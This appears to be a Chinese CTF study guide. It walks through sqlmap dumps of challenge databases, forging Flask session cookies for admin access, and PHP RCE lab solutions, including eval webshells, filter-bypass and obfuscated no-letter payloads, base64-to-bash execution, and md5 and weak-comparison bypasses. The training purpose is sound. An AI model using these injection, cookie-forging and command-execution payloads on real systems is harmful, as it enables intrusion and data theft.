第十一章-总复习
飞书链接:https://icnewi51k2yp.feishu.cn/wiki/GvsCw3G95iwl4Sk3CXhcsUFHn2f
契合计划,总复习可能会复习之前的知识点和拓展一些内容
[11.1]SQLmap
简介
sqlmap 是一款自动化检测与利用 SQL 注入漏洞的免费开源工具。
sqlmap 可用于检测利用五种不同类型的 SQL 注入。
布尔型盲注 时间型盲注 报错型注入 联合查询注入 堆叠查询注入
下面我们将用几个题目展示一下 SQLmap 的用法
用 SQLmap 完成 GET 注入
拿到题目发现是 SQL 中的 get 注入,注入点为 id

测试参数
我们用-p 指定要测试的参数,本题是 id,于是键入sqlmap -u "http://challenge.qsnctf.com:35362/index.php?id=3" -p id
sqlmap -u “http://5c1a874a-0ba0-4700-90fd-f4021d558fd1.node5.buuoj.cn -p password –batch –tamper=space2comment,randomcase,equaltolike

获取数据库名
发现 id 是可行的 下一步就是找数据库名
选 N,然后重新输入指令获取数据库名
sqlmap -u "``http://challenge.qsnctf.com:35362/index.php?id=3``" -p id --current-db

获取表名
发现库名’base’,接下来就要获取表名
sqlmap -u "``http://challenge.qsnctf.com:35362/index.php?id=3``" -p id -D ``note`` --tables

获取列名
发现可疑表名”fl4g”,接下来获取列名
sqlmap -u "``http://challenge.qsnctf.com:35362/index.php?id=3``" -p id -D ``note`` --tables -T ``fl4g`` --columns

读取内容
找到列 fllllag,读取内容即得答案
sqlmap -u "``http://challenge.qsnctf.com:35362/index.php?id=3``" -p id -D ``note`` --tables -T ``fl4g`` --columns fllllag ``--dump

用 SQLmap 完成 post 注入
拿到题目,发现 post 参数为 query

输入
sqlmap -u "``http://challenge.qsnctf.com:35361/search``" ``--data "query=1"
检查可行性 注意 post 的特性,用–data

发现 POST 可行,用
sqlmap -u "``http://challenge.qsnctf.com:35361/search``" ``--data "query=1"`` --current-db
获取表名

处理非 MySQL 状况
发现语法不是 MyQSL,而是 SQLlite
SQLlite 并没有数据库名和表名,我们删掉库名标识符,添加 SQLlite 的标识符
sqlmap -u "``http://challenge.qsnctf.com:35361/search``" ``--data "query=1"`` ``--dbms=sqlite

报成功后,我们再获取表名
sqlmap -u "``http://challenge.qsnctf.com:35361/search``" ``--data "query=1"`` ``--dbms=sqlite`` ``--tables

获取后,读 flag
sqlmap -u "``http://challenge.qsnctf.com:35361/search``" ``--data "query=1"`` ``--dbms=sqlite`` ``-T flags ``--dump

(这题所处的比赛还在进行中,故码住 flag)
注意最后读内容的时候必须要带 dump
用 SQLmap 完成盲注
我们选择 SQLlab-8 这道盲注题,注入点是 id

键入
sqlmap -u "``http://challenge.qsnctf.com:35366/Less-8/``?id=3``" -p id ``-level 3
因为是盲注,所以选择三级

发现”id”二字可以进行布尔盲注
sqlmap -u "``http://challenge.qsnctf.com:35366/Less-8/?id=3``" -p id --batch --level 3 --``technique B`` --current-db
这里选择方式’B’ 如果是时间盲注 那就选’T’,若注入时间太慢,第一步也可以事先说明形式为布尔盲注’B’

发现数据库名 security,接下来获取表名
sqlmap -u "``http://challenge.qsnctf.com:35366/Less-8/?id=3``" -p id --batch --level 3 --``technique B`` -D ``security --tables

发现表名 flag,接下来获取列名
sqlmap -u "``http://challenge.qsnctf.com:35366/Less-8/?id=3``" -p id --batch --level 3 --``technique B`` -D ``security --tables`` -T ``flag --columns

最后读取内容
sqlmap -u "``http://challenge.qsnctf.com:35366/Less-8/?id=3``" -p id --batch --level 3 --``technique B`` -D ``security --tables`` -T ``flag ``--columns flag ``--dump

注:SQLmap 有缓存,要刷新得 --purge
[11.2]Session 提权
做到了 session 提权的题,搜一下,网上居然没出这个教程的,遂手写一份,用词可能存在些许不当
Session 提权简介
session 提权是通过绕过登录,修改特定的 session 值以通过 web 程序检测,从而获得管理员权限的方法
session”提权”,本质上是”得权”
在部分题目中,通过提权,才能进入后台管理系统,抑或输入相关指令
如果说弱口令是正面硬刚管理员登录,那用 session 就是先以普通身份登录再”被提拔”为管理员
做提权题,我们首先要找到 session 值的位置,再找到管理员的 session 值是多少
session 值通常存放在请求包中,且一般为 cookie 中的变量
而管理员的 session 值,有的就存放在源码的注释中,有的则存放在题目给予的开源链接中,需要进行代码审计
存有 session 的 cookie 值有时会被加密,这就构成了 Flask/Session,我们需要先用特定方法对其进行解密,再将 session 修改为管理员的值并加密至 cookie,从而得到提权
基础的 session 提权并没有加密,我们可以先熟悉一下 session 提权的过程
基础 Session 提权
例题 1 观察源码注释中的 session
我们以 DVWA 上的提权靶场为例题,大概叙述一下 sesstion 提权的过程
寻找 session 位置
- 用普通用户(比如自己注册的
test/123456)登录 DVWA; - 登录后,刷新页面,看 F12 → 「网络(Network)」→ 随便点一个请求(比如
index.php)→ 看「请求头」里的 Cookie:
1 | Cookie: PHPSESSID=abc123def; security=low |
观察 cookie 特性
这里 PHPSESSID=abc123def 很可能是我们需要找的 session,现在我们只能看首页,进不了管理员后台。
寻找管理员 session 值
DVWA Low 难度下,管理员的 Session ID 是 “明文泄露” 的
我们可以回到 DVWA 首页,右击查看源代码,能够看到页面源码里藏着管理员的 Session ID PHPSESSID=admin888;
替换自己的 session 值
用 Hackerbar 找到 cookie 中 PHPSESSID 这一行,把 abc123def 改成 admin888
我们便可进入管理员面板
Flask/Session 提权
flask 提权知识
flask 提权需要用到解密工具,这里是下载地址
https://github.com/noraj/flask-session-cookie-manager
用
1 | python .\flask_session_cookie_manager2.py decode -c "<密文>" |
可对 cookie 密文进行加密
用
1 | python .\flask_session_cookie_manager2.py encode -t "<明文>" -s "<密钥>" |
可对修改后的 cookie 明文进行编码,但每个 flask 存在会变化的密钥,这是我们需要寻找的
下面将叙述如何通过审计源代码来发现 session 位置和值,并对加密 cookie 进行 flask 提权
例题 2 观察源码的 session 检测
拿到题目,我们打开界面先查看源码提示” you are not admin “,故推知要 admin 登陆

这道题还有注册系统,注册 admin 用户名肯定是注册不了的,我们要么选择爆破密码,要么选择使用 session 提权
爆破密码无果,我们果断选择 session 提权,按照流程,我们必须最先寻找自己的 session 位置
点注册账号

注册完毕后使用 Burp 观察 cookie 值,有个 session 被加密了,这很有可能是我们自己的 session 位置

检查一下网页源代码,发现了注释上有一个网址

点开发现是网页的开源,我们先观察一下首页的代码

第五行很明显是 session 的检测,name 值为’admin’时,就给予旗帜
所以我们不得不找到这个 name 在哪里
因为 cookie 中的 session 值是加密的,推测 name 可能是在加密前的明文中
而观察路径,htcf_flask-master,推测是 flask 提权
flask 提权就得找到 flask 密钥
观察源代码中的 app\config.py

这里发现了密钥为 ckj123
我们先对自己的 session 进行解码:
1 | {u'csrf_token': 'bbc9fe7f5aecf00183c8febb45d5b1ac4817606b', u'user_id': u'10', u'name': u'test', u'image': 'GJCS', u'_fresh': True, u'_id': '257121b723d37addad4ea19d38daf1d6de423f6a8b6702fd4ba45689b3226f33abcf52219c6222a30f1bdf9b075c383fc373c54b8e92f3494ad162eb8cfa9a67'} |
发现 name,又联想到刚刚需要的 session[‘name’]=admin
我们将 test 改成 admin,再进行编码
1 | python .\flask_session_cookie_manager2.py encode -t "{u'csrf_token': 'bbc9fe7f5aecf00183c8febb45d5b1ac4817606b', u'user_id': u'10', u'name': u'admin', u'image': 'GJCS', u'_fresh': True, u'_id': '257121b723d37addad4ea19d38daf1d6de423f6a8b6702fd4ba45689b3226f33abcf52219c6222a30f1bdf9b075c383fc373c54b8e92f3494ad162eb8cfa9a67'}" -s "ckj123" |

返回新的 session 后,修改原有的 session 发送得到 flag

[11.3]专题复习·RCE(上)
之前学 RCE 是真的赶,但 RCE 是基础且重要的内容
本节我们好好复习一下 RCE–命令执行与函数安全
并拓展无字母绕过等新内容
RCElab-revenge
我们先进行一下 RCElab 的二刷,复习一下基础知识点
level0
总复习阶段,我们有了足够的时间好好阅读一下题干 hhh
1 | --- HelloCTF - RCE靶场 : 代码执行&命令执行 --- |
他说 RCE 分为远程代码执行和命令执行:
「命令执行(Command Execution)」 通常指的是在操作系统层面上执行预定义的指令或脚本。这些命令最终的指向通常是系统命令,如 Windows 中的 CMD 命令或 Linux 中的 Shell 命令,这在语言中可以体现为一些特定的函数或者方法调用,如 PHP 中的 shell_exec()函数或 Python 中的 os.system()函数。
「代码执行(Code Execution)」 同我们最开始说到的任意代码执行,在语言中可以体现为一些函数或者方法调用,如 PHP 中的 eval() 函数或 Python 中的 exec() 函数。
1 |
|
如上指令会回显这么两条
1 | This will get the flag by eval PHP code: flag{e59f0b95d1034b8f851e0808a9952636} |
很明显,eval()函数括号里面是写 php 代码的,为代码执行
system()函数括号里面是写 linux 命令的,称命令执行
这两个都属于 php 内置函数,可以随时调用
我们键入 flag,开启下一题
level1-一句话木马
第一关向我们展示了熟悉的一句话木马,这里用蚁剑连接,就可以获取题目的文件
1 |
|
用蚁剑连接,发现了 get_flag.php,他提示根目录下默认存有 flag,我们也很容易的在根目录下找到了 flag


当然,不借助工具,我们 post 一个
1 | a=system('cat /flag'); |
肯定也是正确的 不过要注意这是语句 是 eval 括号里的,末尾一定要加分号

level2-代码执行函数
这题放在第二关,对于当时代码审计一点也不会的我来说就是噩梦,卡了好几个小时
这里注意一点是 session_start 也是反序列化 session 漏洞的标志
1 | session_start(); // 开启 session |
现在看意思就是随机抽一个代码执行函数,然后给里面填内容(填命令执行函数)
几个 random_func 应该还藏在 cookie 的 session 值里面
$act可以用GET action来控制,当post把内容确定好了以后,$act 改成 submit,就可以进行命令执行
我们 GET 一个 action=r,刷新一下函数,获得了 usort,这一定是个命令执行函数

点了一下 action=submit 锁定,结果他又刷新了一次,那做这个新函数

查表,这个函数第一个参数应该是可以填命令执行函数,第二个参数就是固定的 array

我们试试往 content 里面填
1 | system('cat /flag'),array() |
函数报错,但命令被执行,flag 被打印

RCE 始终还是那么神奇
level3-命令执行函数
第三关是对命令执行展开来介绍,和一句话木马的 eval 不同,这直接用的是 linux 命令执行 system 函数
1 |
|
我们尝试用蚁剑连接,返回数据为空

可见命令执行没法用蚁剑进行连接
只有 eval 类型的才能输入密码访问文件 –这也是为什么我们文件上传用 eval 不用 system。
我们不得不通过 POST 形式发送命令,以获取 flag

level4-命令运算符(操作系统连接符)
这一关是对命令运算符的介绍,我们可以通过;无条件在一个命令后执行另一个命令
其他运算符则要视情况而定
1 | <?php |
我们很容易的发出 payload
1 | ip=127.0.0.1;cat /flag |

level5-简单的绕过字符过滤
1 |
|
这关添加了 flag 字符过滤,我们可以复习一下过滤的绕过
1 | **1.通配符?绕过** |
除了第七个有点麻烦,我们可以试一试前六个
1 | ?cmd=cat /f??? |

1 | ?cmd=cat /f* |

1 | ?cmd=cat /f""lag |

1 | ?cmd=cat /f$1lag |

1 | **?cmd=**a=f;d=ag;c=l;cat /$a$c$d |

转义字符的绕过姿势可以看看下一关
level6-进制转换绕过无字母
题目是用了正则表达式禁用了所有字母(除小写 a 之外)和部分符号
其中带\的应该是反斜杠转换,代表的就是原来的符号
1 |
|
注意:isset 也是命令执行函数,而不是代码执行函数
这题可以使用八进制转换,注意带”$”的格式
1 | $'\143\141\164' $'\57\146\154\141\147' |
当然,16 进制转换也依照这个格式,可惜这里不让用 x
可以复习一下 C 语言程序设计学到的知识
1 | 0x+数字表示十六进制整形常量,0开头则为八进制整形常量 无位数限制,按类型范围截断 |
level7-绕过空格过滤
这题过滤了 flag 和空格,说明是要绕过空格

我们也来复习一下绕过空格的知识
1 | **1.preg_replace函数** |
第一个为 php 内置函数,用于代码执行,这题用不上,后面三个我们依次尝试
1 | ?cmd=cat%09/fl* |

不过要注意的是,%20 是不行的,因为会被 URL 自动解析成空格
第二个在此环境下可能不行
1 | ?cmd=cat${IFS}/fl* |

level8-分号截断强化-绕过屏蔽输出
1 |
|
读题可见 $cmd 后面的内容会使命令无法回显,但分号可以作为一个命令的结束,使用
1 | ?cmd=cat /fl*; |
就可以只执行分号前的内容了

命令执行其他知识
RCElab 中还有一些知识没有提到,我们再复习一下
斜杠绕过
这种情况通常为文件路径无法输入 可以用 cd 更换工作目录
再用 cat 直接加文件名进行文件输出
换行多指令的执行
不仅可以用;还可以用 %0a(推荐,对应换行符) %0d(回车符) %0D%0A 作为多个指令的分隔同时执行多个指令.
注意:回车符(%0d)本身不换行,仅光标回行首;换行符(%0a)仅光标下移一行。
两者组合(%0d%0a,即 \r\n)才是「完整的换行逻辑」,也是最通用的跨场景换行格式.
反引号绕过括号过滤
若括号被过滤,可以使用反引号 `` 进行命令执行,但这个函数只有返回值,不会输出 要用 echo 指令 来输出结果
Linux 常见文件读取命令
1.tac 反向显示 将倒数第一行显示为第一行 以此类推 但是同一行中的方向不变
2.more 按页显示 敲空格往后翻页
3.less 与 more 同理
4.tail 查看末尾若干行
5.nl 显示的时候顺便显示行号
6.od/xxd 以二进制形式读取
7.sort 用于排序文件 效果与 cat 也相似.
8.uniq:报告或删除文件中重复的行 与 cat 效果相似.
9.执行错误的 php 文件(通常只有 flag 这一行的 php 文件是错误的.),并使用 file -f 报错出具体的内容.
例如 passthru(“file -f flag.php”); flag.php 没有办法执行 因此会报错出这个程序的具体内容 其中可能包含 flag
10.grep 在文本中查找指定的字符串所对应的行 并输出这一行
例如 cmd=passthru(“grep fla fla*”);
从 fla*文本文件中搜索包含”fla”字符串的行.
PHP 命令执行函数
[相似函数:1,3;2,4,5;6,7]
1.system 函数(执行命令并体现返回值)
system(string $command,int &$return_var =?(该参数可选))
command:执行 command 参数所指定的命令,并且输出执行结果(的所有行).
如果提供 return_var 参数,则外部命令执行后的返回状态(1/0 等)将会被设置到此变量中。
2.exec 函数(执行指令并体现执行的输出和返回值(不直接打印))
exec(string $command,array &$output =?(可选),int &$return var=?(可选))
command 参数:要执行的命令。注意:单独使用时只有最后一行结果返回并且打印,其他的行不会回显
output 参数:用命令执行的输出填充此数组,每行输出填充数组中的一个元素。即逐行填充数组。
return_var 参数:同上 表示返回值.
后两个参数可以借用 print_r 输出结果.
exec(ls);
print_r(output);
即可显示 ls 的输出结果
3.passthru 函数(执行命令并输出二进制数据.在安全渗透测试中与 system 无差别.)
passthru(string $command, int &$return_var =?)
command 参数:执行的命令,并且输出执行结果(的所有行)。
输出二进制数据,并且需要直接传送到浏览器。
4.shell_exec 函数(执行命令,返回命令的输出(为值但不直接打印))
shell_exec(string cmd)
cmd 参数:要执行的命令。
环境执行命令,并且将完整的输出以字符串的方式返回。
借用 echo、print 等输出结果,否则不会输出结果
echo shell_exec(cmd)
5.`` 函数
与 shell_exec 功能相同,这里不赘述.
6.popen 函数(执行命令,返回值特殊)
popen(string $command, string $mode)
command 参数:要执行的命令。
mode 参数:模式。r 表示阅读,w 表示写入。
popen 函数返回值是一个写入的文档,遵循 fgets 获取内容 →print_r 输出内容
a = popen(“ls”,’r’);
$s=fgets($a);
print_r($s);
才可以把内容输出
7.proc_open 函数(执行命令,返回值特殊)
proc_open($command,$descriptor_spec,$pipes,
$cwd,$env_vars,$options)
一般只修改 command 参数
不直接回显
8.pcntl_ехес(使用前需安装模块)
pcntl_exec(string $path, array $args =?,array
$envs =?)
path 必须时可执行二进制文件路径或一个在文
件第一行指定了一个可执行文件路径标头的
脚本(比如文件第一行是#!/usr/local/bin/perl
的 perl 脚本)。
args 是一个要传递给程序的参数的字符串数组。
envs 是一个要传递给程序作为环境变量的字符
串数组。这个数组是 key=>value 格式的,key
代表要传递的环境变量的名称,value 代表该
环境变量值。
在当前进程空间执行指定程序,替换当前进程的代码段、数据段。
与 exec()/system() 的区别:
pcntl_exec() 替换当前进程,而 exec()/system() 是创建子进程执行程序,原进程继续运行。
PHP 函数安全
命令执行有时候没有那么容易,我们得熟悉许多 php 函数的性质
绕过数字和精度检测
is_numeric 检测绕过
作用:检测变量是否是数字或数字字符串 返回值为 bool。
例如
1 |
|
我们要将 $a 用 get 方式更改为 404 但该函数能够检测变量是数字
通过在数字前面或者后面加上 %0a %0b %0c %0d %09 等来绕过,类似以文件名过滤绕过的方法绕过
此外,(在 PHP8.0.0 之前(最新版本已修复),如果 字符串 与 数字 或者 数字字符串 进行比较,
则会先进行 类型转换 再进行比较。
所以如果传入的是字符串,会先将字符串转换成数值,你也可以在 404 后加一个字母等,不过要注意
PHP 的版本
is_switch 函数
这个方法和类型转换一样大同小异,case 会自动将字符转换成数值。这里来个例子就知道了
1 | $flag = "flag{Give you FLAG}"; |
如果 $a = “233a”,会输出 flag
PHP 精度
可使用 IEEE 754 标准在线转换网站:https://tooltt.com/floatconverter/
进行进制转换.
(注:基本上所有语言双精度格式都采用 IEEE 754)
用精度漏洞可用 x.99999999999999999 来绕过对 x+1 数字的限制.
比较和类型转换漏洞
PHP 包含 松散 和 严格 比较
松散比较(==)比较值,但不比较类型,严格比较(===)既比较值也比较类型
echo (123 == "123")?1:0;
返回:1
echo (123 === "123")?1:0;
返回:0
弱比较的类型转换规则
在 PHP 中类型转换有一定的缺陷,如果一个 字符串 要转成数值类型,首先对字符串进行一个判断,
如果字符串包含 e 、. 、E 则会作为 float 来取值,否则则为 int 。
下面的例子中,由于 a 没有包含任何东西,所以被当作 int 来处理了。
$id = intval("12312a");
var_dump($id);
输出:12312
弱比较的值转换规则
当松散比较时,不是数字的字符转成数字后会是 0,而不是对应的 ASCII 码值,是数字的转化为它本身
同理,只有字符串起始部分为 数值 ,才采用 起始的数值 ,否则字符串也一律为 0
1 | var_dump(0 == "a"); |
当然,如果是字符串,但是用了科学计数法和十六进制,它又会被优先识别并返回真正的值
var_dump(100 == "1e2"); #采用科学计数法
# 返回:true
var_dump(23333 == "0x5b25"); #采用十六进制
# 返回:true
版本问题
不过还是那句话,在 PHP8.0.0 之前,如果 字符串 与 数字 或者 数字字符串 进行比较,
则会先进行 类型转换 再进行比较。
最新版本中,字符串直接识别为 string string==0 会返回 false 了.
弱类型比较表格
当遇到 bool 相关的问题时,可以查表格


判断原始变量类型的函数
(注 PHP 的变量不存在先声明后定义 一定要定义)
(1)gettype($var)返回变量的「原始类型字符串」,
直接告诉你变量是什么类型(如 int、string、null 等)。
(必须传已定义的变量)
(2)empty($var) —— “空值检测器”
判断变量是否为「空值」(宽松判断,不区分类型,只要是 “无意义” 的值都算空)。
以下值会被判定为「空」,返回 true,其余返回 false:
未定义的变量($var 没声明);
null(显式赋值为 null);
布尔值 false;
数值 0、0.0(整数 0、浮点数 0);
空字符串 “”、字符串 “0”(注意:仅 “0” 算空, “00”、”false” 不算);
空数组 [](count($var) == 0);
(3)is_null($var) —— “严格 null 判断器”
核心作用:仅判断变量是否为「严格的 null」(比 empty 严格 10 倍,只认 null)。
未定义的变量传进去会报错
(4)isset($var) —— “变量存在/空值检测器”
需要注意的是它还是命令和代码执行函数,里面可以塞 cat /fl*啥的,还能塞 system,但是最后要加分号
判断变量「是否已定义」且「值不为 null」
未定义 → 返回 false
已定义但值为 null → 返回 false
已定义且值不为 null → 返回 true(即使值是 0、””、[] 等空值也返回 true)
支持多变量判断:isset($a, $b, $c) → 所有变量都存在且非 null 才返回 true。
(5)if($x) —— 布尔值隐式转换(“真值检测器”)
将变量 $x 隐式转换为布尔值 true/false,判断变量是否为「真值」
逻辑和 empty() 几乎相反
以下值会被转为 false(和 empty() 判定为 “空” 的规则一致):
null、false、0、0.0、””、”0”、[];
其余值(如 “ “、1、”abc”、[“a”] 等)都会转为 true。
当然 $x 也要求有定义,否则报错,所以很多题目用 isset 不用 if
绕过其他函数检测
strcmp 函数
描述:strcmp(str1, str2)
如果 str1 小于 str2 返回 < 0; 如果 str1 大于 str2 返回 > 0;如果两者相等,返回 0。
(注: 在 php5.0 以前,strcmp 返回的是 str2 第一位字母转成 ascii 后减去 str1 第一位字母。)
当 strcmp 比较出错后,会返回 null,null 则为 0,举个例子
1 | $flag = 'flag{123}'; |
为了使 strcmp 比较出错,可以传入一个数组,它并不会报错,神奇吧
这样能使得非空数组和变量无法正常比较
is_switch 函数
就是 switch,case 会自动将字符转换成数值,所以我们要熟悉弱类型比较的值转换规则。
1 | $a = "233a"; # 注意这里 |
能够输出:flag{Give you FLAG}
sha1()函数
sha1() 是 PHP 中用于计算字符串 SHA-1 哈希值 的内置函数,属于哈希算法的一种,
核心用途是将任意长度的字符串转换为固定长度(40 个字符)的 16 进制字符串
sha1 的参数不能为数组,传入数组会返回 NULL,所以先传一个数组使得 sha1 函数报错,
从而绕过===强比较
接着再左右两边传入不一样的内容,使得第一个命令也为真,&&自然为真,即可绕过。
此事在 md5 亦有记载,是绕过的重点
1 | $flag = "flag{Chain!}"; |
一篇不能太长否则不方便查找,篇幅原因,我们先移步下一节
[11.4]专题复习·RCE(下)
MD5 问题
MD5 问题也是一大热门考点,这个函数和 sha1 类似且比 sha1 更具有深度
md5 本身就是个函数
md5(字符串,字符串,var2)能够计算 字符串 的 MD5 散列值,
如果 var2 为真将返回 16 字符长度的原始二进制格式
0e 问题
需要注意的是,md5 在处理哈希字符串的时候,如果 md5 编码后的哈希值时 0e 开头的,都一律解释为 0,因为它竟然会被认定为科学计数法,然后产生 bug!
所以若两个不同的值经过哈希编码后的值都是以 0e 开头,则它们值都是 0,用松散比较是相等的(但严格比较未必)
例如
var_dump(0e912 == 0e112?1:0);
输出:1
这里给出几个常见 md5 以 0e 开头的值
原值-md5-返回值
数值型
1 | 240610708 0e462097431906509019562988736854 返回:0 |
字母型
1 | QLTHNDT 0e405967825401955372549139051580 返回:0 |
0e 绕过松散比较
例如
1 | $flag = "flag{THIS_IS_REAL_FLAG}"; |
这里 v1 和 v2 作为两个参数变量,首先 v1 不等于 v2,意思就是两个值必须不相同;
其次 md5 后的 v1 和 md5 后的 v2 必须相同,这时候就可以使用上述 0e 方法构造 Payload,
只需找出哪个值经过 md5 编码后以 0e 开头即可,示例答案如下
1 | Payload: ?gat=240610708&tag=314282422 |
绕过强类型比较
利用数组比较
例如
1 | $flag = "flag{THIS_IS_REAL_FLAG}"; |
用上述 0e 方法自然是不可行的(注意:===),这时候就得使用数组绕过。
如果 str1 和 2 都是数组,会报出错误返回 NULL(md5 只能使用字符串),两个都是 NULL,就相当于绕过===这个条件了
md5 碰撞
md5 碰撞,指的是存在 md5 相同而内容完全不一样的字符串,它们能通过 md5 的强类型比较
在 PHP 8.0.0 时,数组比较绕过强比较已经被修复了;且如果遇到不能传入数组,只能传入字符串(或强制转换)的时候,你只能采取 md5 碰撞,例如
1 | $flag = "flag{THIS_IS_REAL_FLAG}"; |
这时候就得需要 md5 碰撞((string)转化数组法无法满足!==),
我们可以找到两组存在 MD5 碰撞的值,并予以 payload.
240610708
314282422
[例题][SWPUCTF 2022 新生赛]奇妙的 MD5
第一关,要求给一个”奇妙的字符串”

我们随意输入点击提交查询,抓包看看响应头

看到提示是这个,上网搜了一下
ffifdyop 是 MD5 加密后的万能密码
键入进去,则来到第二关

提示这个,我们不得不选择查看网页源代码

发现是绕过松散比较,我们采用 0e 方法
1 | ?x=240610708&y=314282422 |
过,来到第三关

需要绕过强类型比较,我们采用数组比较法,让他们两个变量都是数组,就通过了

绕过永假’1==2’
利用以下两点:
1.PHP 比较「数组 vs 整数」时,不会报错,而是直接返回 true(这是 PHP 弱类型(强类型不适用)的经典特性)。
2.PHP 可以直接给数字当变量赋一个数组,或者直接给数字当变量传另一个数字
这里直接 get 方式让 1=2,或者 1[]=任意值,甚至 1=’2’都行
(注意:PHP 弱类型比较中,字符串_’2’不会转成 ASCII 码(‘2’_的 ASCII 码是 50),而是直接转成「对应的数字 2」)
变量覆盖漏洞
变量如果未被初始化,且能够被用户所控制,那么很可能会导致安全问题,这个安全问题要求环境变量开启
1 | register_globals=ON |
体现在题目中,变量覆盖漏洞就像传入一个参数 ?id=1,并且这个参数把原有的变量值给覆盖掉了
例如
1 |
|
我们传入参数:?get=Genshin,网页就会返回
1 | a:A |
根据实战,变量覆盖漏洞的产生大致有以下原因
register_globals(全局变量)为 On
符号$或双$$使用不当
extract() 函数使用不当
parse_str() 使用不当
import_request_variables() 使用不当
register_globals 环境变量
register_globals 设置为 on 的时候,传递的参数会 自动注册 为全局变量。
1 | ini_set("register_globals", "On"); |
$$ 问题
在 PHP 中,$$ 是可变变量(Variable Variables) 的语法。
核心作用是:用一个变量的值作为另一个变量的名称。
即如果有一个变量 $a = “name”,那么 $$a 就等价于 $name(把 $a 的值 “name” 当作了新变量的名称)。
extract()函数
extract 用来将变量从数组中导入到当前的符号表中,并返回成功导入到符号表中的变量数目
主要格式:extract(
其中
array:数组
flags:(相当于模式的选择):
1 | EXTR_OVERWRITE - 如果有冲突,覆盖已有的变量。(默认) |
prefix:该参数规定了前缀。前缀和数组键名之间会自动加上一个下划线。
例如
1 | $a = "Source"; |
这里语句 extract($_POST); 将前端通过 POST 请求提交的所有数据(存储在 $_POST 关联数组中)批量转为当前作用域的 PHP 变量—— 数组的「键名」会变成变量名,数组的「键值」会变成变量值。
parse_str()函数
parse_str(str) 用于将字符串解析成多个变量(也可以为单个变量),没有返回值,例如
1 | parse_str("username=A&password=123456"); |
输出
1 | Username: A |
特别注意的是,如果是传数组
1 | parse_str("array[0]=1"); |
会自动生成 $array 这个数组
例如
1 | $UIUCTF = "UIUCTF Hacker."; |
Payload: ?id=a[0]=240610708 使两边都解析成 0e 开头即可
命令执行绕过拓展
我们挑选几个绕过方式进行命令执行绕过拓展
编码绕过(绕过特定字符限制)
编码绕过就是将需要的指令进行编码后再执行,进而绕过字符检测
例如 cat /flag
我们用 base64 编码后是这样
1 | Y2F0IC9mbGFn |
随后我们利用管道输出符的特性对其进行 base64 解码:
| 能够把前面指令执行的结果,变成后面指令的参数
1 | echo Y2F0IC9mbGFn | base64 -d |
这个命令便可以打印出 cat /flag 这个字符串
为了执行 cat /flag,我们还得给这条命令添加一些必要的参数,方式有很多种
1 | echo Y2F0IC9mbGFn | base64 -d | bash |
1 | echo Y2F0IC9mbGFn | base64 -d | sh |
1 | `echo Y2F0IC9mbGFn | base64 -d ` |
1 | $(echo Y2F0IC9mbGFn | base64 -d) |
我们用一道题演示一下
1 | function hello_shell($cmd){ |
输入
1 | ?cmd=$(echo Y2F0IC9mbGFn | base64 -d) |
即可通过

反引号等也是一样的

无回显时间盲注
这位更是个重量级,太偏了也
贴一个照着教程写的脚本吧,注意黄底的地方是需要修改的
但这个脚本只在特定环境下可以运行
1 | import requests |
无字母数字绕过
利用异或运算
先明确一点是,异或计算用于代码执行而非命令执行,采用了异或运算结果转化
shell 参数为
1 | $_ = "!((%)("^"@[[@[\\";$__ = "!+/(("^"~{`{|";$___ = $$__;$_($___['_']); |
还需要 post
1 | _=system('ls'); |
版本太高了会报 Cannot call assert() with string argument dynamically in /var/www/html/index.php(24) : eval()’d code on line 1
也可以考虑利用反引号,但这没有回显
1 | ?cmd=$_= "!+/(("^"~{`{|";$__ = $$_;`$__[_]`; |
需要注意的是,这两种方法都只能用于填代码执行函数的参数,都要进行 URL 编码
利用取反绕过
取反绕过通常也用于代码执行
在线脚本网站
无字母数字绕过难度还是有点大,我们就学到这里,这里给一个可以用于尝试命令执行的脚本
但只用于命令执行,不用于代码执行
https://probiusofficial.github.io/bashFuck/
所有的 payload 不一定能在所有环境生效,因为有的生效需要特殊的解析器等.
RCE 专题训练
[SWPUCTF 2021 新生赛]hardrce
无字母绕过,禁用了尖角号,利用取反绕过脚本获得
1 | ?wllm=(~%8C%86%8C%8B%9A%92)(~%9C%9E%8B%DF%D0%99%93%D5); |
即得答案

[无回显 RCE]RCE-PLUS
RCE 无回显时,可利用 > 直接输出结果到文件ls > 1.txtls /> 2.txtcat /fl*> 3.txt

URL 直接访问查看回显

baby rce
1 |
|
采用如下方法即可

注意静态函数的特性:能直接利用类名::函数名调用,而无需对象;
extract($_GET); 能用 get 方式获得所有变量的值,但会立即执行,会被下面的函数或赋值表达式覆盖
[11.5]专题复习·php 反序列化
POP 链构造
我们由浅入深通过几道例题复习魔术方法和 pop 链构造.
复习魔术方法
这几个魔术方法接触的少,我们再复习一次
在对象中调用一个不可访问方法时,__call() 会被调用。
在静态上下文中调用一个不可访问方法时,__callStatic() 会被调用。
在给不可访问(protected 或 private)或不存在的属性赋值时,__set() 会被调用。
读取不可访问(protected 或 private)或不存在的属性的值时,__get() 会被调用。
不可访问方法:包括「方法不存在」(类里没定义)、「方法权限不够」(比如 private 方法被外部调用);
尤其要注意不存在
魔术方法的执行顺序
一般情况,POP 链构造使得魔术方法的执行从链头到链尾,但 construct,destruct,wakeup 函数未必,尤其是一个类同时出现 destruct 和 construct 的时候
1 |
|
例如以上这个脚本,tail 为链尾,head 为链头,他们都有 destruct 和 wakeup 函数
按照链头链尾执行顺序,应该先执行 head 的 wakeup 函数,再执行 head 的 destruct
随后再执行 tail 的 wakeup 和 destruct
实际情况下,程序是这样运行的:
1 | [?] Tail::__wakeup() 执行 |
可见当场上没有别的函数时,所有 wakeup 函数最先执行,且链头最后执行
所有 destruct 函数最后执行,且链头最先执行,这就是嵌套顺序
construct/destruct/wakeup 同函数名时,按嵌套顺序执行,不同函数名时,先按嵌套顺序执行 construct/wakeup,再执行 destruct;(变量只要不再后续被引用(作为其他类的成员等,这个”其他类”刚消失,所以链头的 destruct 最先执行),则立即触发 destruct)
且在执行 construct/destruct/wakeup 时,一个函数执行完后,其引起的其他函数先执行,而后才按嵌套顺序继续执行顺序靠后的 construct/destruct/wakeup
1 |
|
1 | [?] Tail::__wakeup() 执行 |
带元组的情况
碰到方法里面有形如
1 | echo $this->array['ayy']->php; |
的
我们直接赋
1 | $a->array['ayy']=$b |
即可
将 array[‘ayy’]视为一个成员就行
例 1 [SWPUCTF 2021 新生赛]pop
读题,一个只有三个类的 POP 链
1 |
|
首先注意到唯一的__destruct(),意味着链头的类型为 w22m
有
$a=w22m;
w33m 中有个__toString()
不难想到
$b=new w33m();
$a->w00m=$b;
接着__toString()中{$this->w22m}为函数名
故推知用于执行 w44m 类中的 Getflag
有
$this->w22m='Getflag'
谁有 Getflag 函数呢,肯定也是 w44m 类
有
